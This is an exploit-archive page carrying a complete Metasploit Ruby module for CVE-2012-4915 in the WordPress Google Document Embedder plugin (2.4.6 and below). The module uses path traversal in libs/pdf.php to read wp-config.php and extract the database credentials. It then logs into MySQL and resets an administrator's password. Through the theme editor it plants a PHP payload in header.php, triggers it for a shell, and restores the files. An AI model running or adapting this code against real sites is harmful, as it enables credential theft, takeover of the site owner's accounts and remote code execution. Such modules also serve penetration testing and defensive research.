Exploit the possiblities

WordPress Google Document Embedder Arbitrary File Disclosure

WordPress Google Document Embedder Arbitrary File Disclosure
Posted Jan 8, 2013
Authored by Charlie Eriksen | Site metasploit.com

This Metasploit module exploits an arbitrary file disclosure flaw in the WordPress blogging software plugin known as Google Document Embedder. The vulnerability allows for database credential disclosure via the /libs/pdf.php script. The Google Document Embedder plug-in versions 2.4.6 and below are vulnerable. This exploit only works when the MySQL server is exposed on a accessible IP and Wordpress has filesystem write access. Please note: The admin password may get changed if the exploit does not run to the end.

tags | exploit, arbitrary, php
advisories | CVE-2012-4915, OSVDB-88891
MD5 | ee30223d772139ccdbf4268e1f3f30d2

WordPress Google Document Embedder Arbitrary File Disclosure

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'
require 'rbmysql'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report

def initialize(info = {})
super(update_info(info,
'Name' => 'WordPress Plugin Google Document Embedder Arbitrary File Disclosure',
'Description' => %q{
This module exploits an arbitrary file disclosure flaw in the WordPress
blogging software plugin known as Google Document Embedder. The vulnerability allows for
database credential disclosure via the /libs/pdf.php script. The Google Document Embedder
plug-in versions 2.4.6 and below are vulnerable. This exploit only works when the MySQL
server is exposed on a accessible IP and Wordpress has filesystem write access.

Please note: The admin password may get changed if the exploit does not run to the end.
},
'Author' =>
[
'Charlie Eriksen',
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2012-4915'],
['OSVDB', '88891'],
['URL', 'http://secunia.com/advisories/50832'],
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
'Compat' =>
{
'ConnectionType' => 'find',
},
},
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => 'Jan 03 2013',
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/']),
OptString.new('PLUGINSPATH', [true, 'The relative path to the plugins folder', 'wp-content/plugins/']),
OptString.new('ADMINPATH', [true, 'The relative path to the admin folder', 'wp-admin/']),
OptString.new('THEMESPATH', [true, 'The relative path to the admin folder', 'wp-content/themes/'])
], self.class)
end

def check
uri = target_uri.path
uri << '/' if uri[-1,1] != '/'
plugins_uri = String.new(uri)
plugins_uri << datastore['PLUGINSPATH']
plugins_uri << '/' if plugins_uri[-1,1] != '/'

res = send_request_cgi({
'method' => 'GET',
'uri' => "#{plugins_uri}google-document-embedder/libs/pdf.php",
})

if res and res.code == 200
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
end
end

def exploit
uri = target_uri.path
uri << '/' if uri[-1,1] != '/'
plugins_uri = String.new(uri)
plugins_uri << datastore['PLUGINSPATH']
plugins_uri << '/' if plugins_uri[-1,1] != '/'
admin_uri = String.new(uri)
admin_uri << datastore['ADMINPATH']
admin_uri << '/' if plugins_uri[-1,1] != '/'
themes_uri = String.new(uri)
themes_uri << datastore['THEMESPATH']
themes_uri << '/' if plugins_uri[-1,1] != '/'

print_status('Fetching wp-config.php')
res = send_request_cgi({
'method' => 'GET',
'uri' => "#{plugins_uri}google-document-embedder/libs/pdf.php",
'vars_get' =>
{
'fn' => "#{rand_text_alphanumeric(4)}.pdf",
'file' => "#{'../' * plugins_uri.count('/')}wp-config.php",
}
})

if res and res.body =~ /allow_url_fopen/
fail_with(Exploit::Failure::NotVulnerable, 'allow_url_fopen and curl are both disabled')
elsif res.code != 200
fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}")
end

config = parse_wp_config(res.body)
if not ['DB_HOST', 'DB_PORT', 'DB_USER', 'DB_PASSWORD', 'DB_NAME'].all? { |parameter| config.has_key?(parameter) }
fail_with(Exploit::Failure::UnexpectedReply, "The config file did not parse properly")
end
begin
@mysql_handle = ::RbMysql.connect({
:host => config['DB_HOST'],
:port => config['DB_PORT'],
:read_timeout => 300,
:write_timeout => 300,
:socket => nil,
:user => config['DB_USER'],
:password => config['DB_PASSWORD'],
:db => config['DB_NAME']
})
rescue Errno::ECONNREFUSED,
RbMysql::ClientError,
Errno::ETIMEDOUT,
RbMysql::AccessDeniedError,
RbMysql::HostNotPrivileged
fail_with(Exploit::Failure::NotVulnerable, 'Unable to connect to the MySQL server')
end
res = @mysql_handle.query("SELECT user_login, user_pass FROM #{config['DB_PREFIX']}users U
INNER JOIN #{config['DB_PREFIX']}usermeta M ON M.user_id = U.ID AND M.meta_key = 'wp_user_level' AND meta_value = '10' LIMIT 1")

if res.nil? or res.size <= 0
fail_with(Exploit::Failure::UnexpectedReply, 'No admin was account found')
end

user = res.first

new_password = rand_text_alphanumeric(8)
@mysql_handle.query("UPDATE #{config['DB_PREFIX']}users SET user_pass = '#{::Rex::Text.md5(new_password)}' WHERE user_login = '#{user[0]}'")
print_warning("Admin password changed to: #{new_password}")

admin_cookie = get_wp_cookie(uri, user[0], new_password)

theme, nonce, old_content = get_wp_theme(admin_uri, admin_cookie)

print_warning("Editing theme #{theme}")
set_wp_theme(admin_uri, admin_cookie, nonce, theme, payload.encoded)

print_status("Calling backdoor")
res = send_request_cgi({
'method' => 'GET',
'uri' => "#{themes_uri}#{theme}/header.php",
})

if res and res.code != 200
fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}")
end

set_wp_theme(admin_uri, admin_cookie, nonce, theme, old_content)

@mysql_handle.query("UPDATE #{config['DB_PREFIX']}users SET user_pass = '#{user[1]}' WHERE user_login = '#{user[0]}'")

print_status("Shell should have been acquired. Disabled backdoor")
end

def parse_wp_config(body)
p = store_loot('wordpress.config', 'text/plain', rhost, body, "#{rhost}_wp-config.php")
print_status("wp-config.php saved in: #{p}")
print_status("Parsing config file")
values = {}

body.each_line do |line|
if line =~ /define/
key_pair = line.scan(/('|")([^'"]*)('|")/)
if key_pair.length == 2
values[key_pair[0][1]] = key_pair[1][1]
end
elsif line =~ /table_prefix/
table_prefix = line.scan(/('|")([^'"]*)('|")/)
values['DB_PREFIX'] = table_prefix[0][1]
end
end
#Extract the port from DB_HOST and normalize DB_HOST
values['DB_PORT'] = values['DB_HOST'].include?(':') ? values['DB_HOST'].split(':')[1] : 3306

if values['DB_HOST'] =~ /(localhost|127.0.0.1)/
print_status("DB_HOST config value was a loopback address. Trying to resolve to a proper IP")
values['DB_HOST'] = ::Rex::Socket.getaddress(datastore['RHOST'])
end

return values
end

def get_wp_cookie(uri, username, password)
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{uri}wp-login.php",
'cookie' => 'wordpress_test_cookie=WP+Cookie+check',
'vars_post' =>
{
'log' => username,
'pwd' => password,
'wp-submit' => 'Log+In',
'testcookie' => '1',
},
})

if res and res.code == 200
fail_with(Exploit::Failure::UnexpectedReply, 'Admin login failed')
elsif res and res.code != 302
fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}")
end

admin_cookie = ''
(res.headers['Set-Cookie'] || '').split(',').each do |cookie|
admin_cookie << cookie.split(';')[0]
admin_cookie << ';'
end

if admin_cookie.empty?
fail_with(Exploit::Failure::UnexpectedReply, 'The resulting cookie was empty')
end

return admin_cookie
end

def get_wp_theme(admin_uri, admin_cookie)
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{admin_uri}theme-editor.php?file=header.php",
'cookie' => admin_cookie,
})

if res and res.code != 200
fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}")
elsif res and res.body.scan(/<input.+?name="submit".+?class="button button-primary"/).length == 0
fail_with(Exploit::Failure::NotVulnerable, 'Wordpress does not have write access')
end

nonce = res.body.scan(/<input.+?id="_wpnonce".+?value="(.+?)"/)[0][0].to_s
old_content = Rex::Text.html_decode(Rex::Text.html_decode(res.body.scan(/<textarea.+?id="newcontent".+?>(.*)<\/textarea>/m)[0][0].to_s))
theme = res.body.scan(/<input.+?name="theme".+?value="(.+?)"/)[0][0].to_s

return [theme, nonce, old_content]
end

def set_wp_theme(admin_uri, admin_cookie, nonce, theme, new_content)
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{admin_uri}theme-editor.php?",
'cookie' => admin_cookie,
'vars_post' =>
{
'_wpnonce' => nonce,
'theme' => theme,
'newcontent' => new_content,
'action' => 'update',
'file' => 'header.php'
},
})

if res and res.code != 302
fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}")
end
end

end

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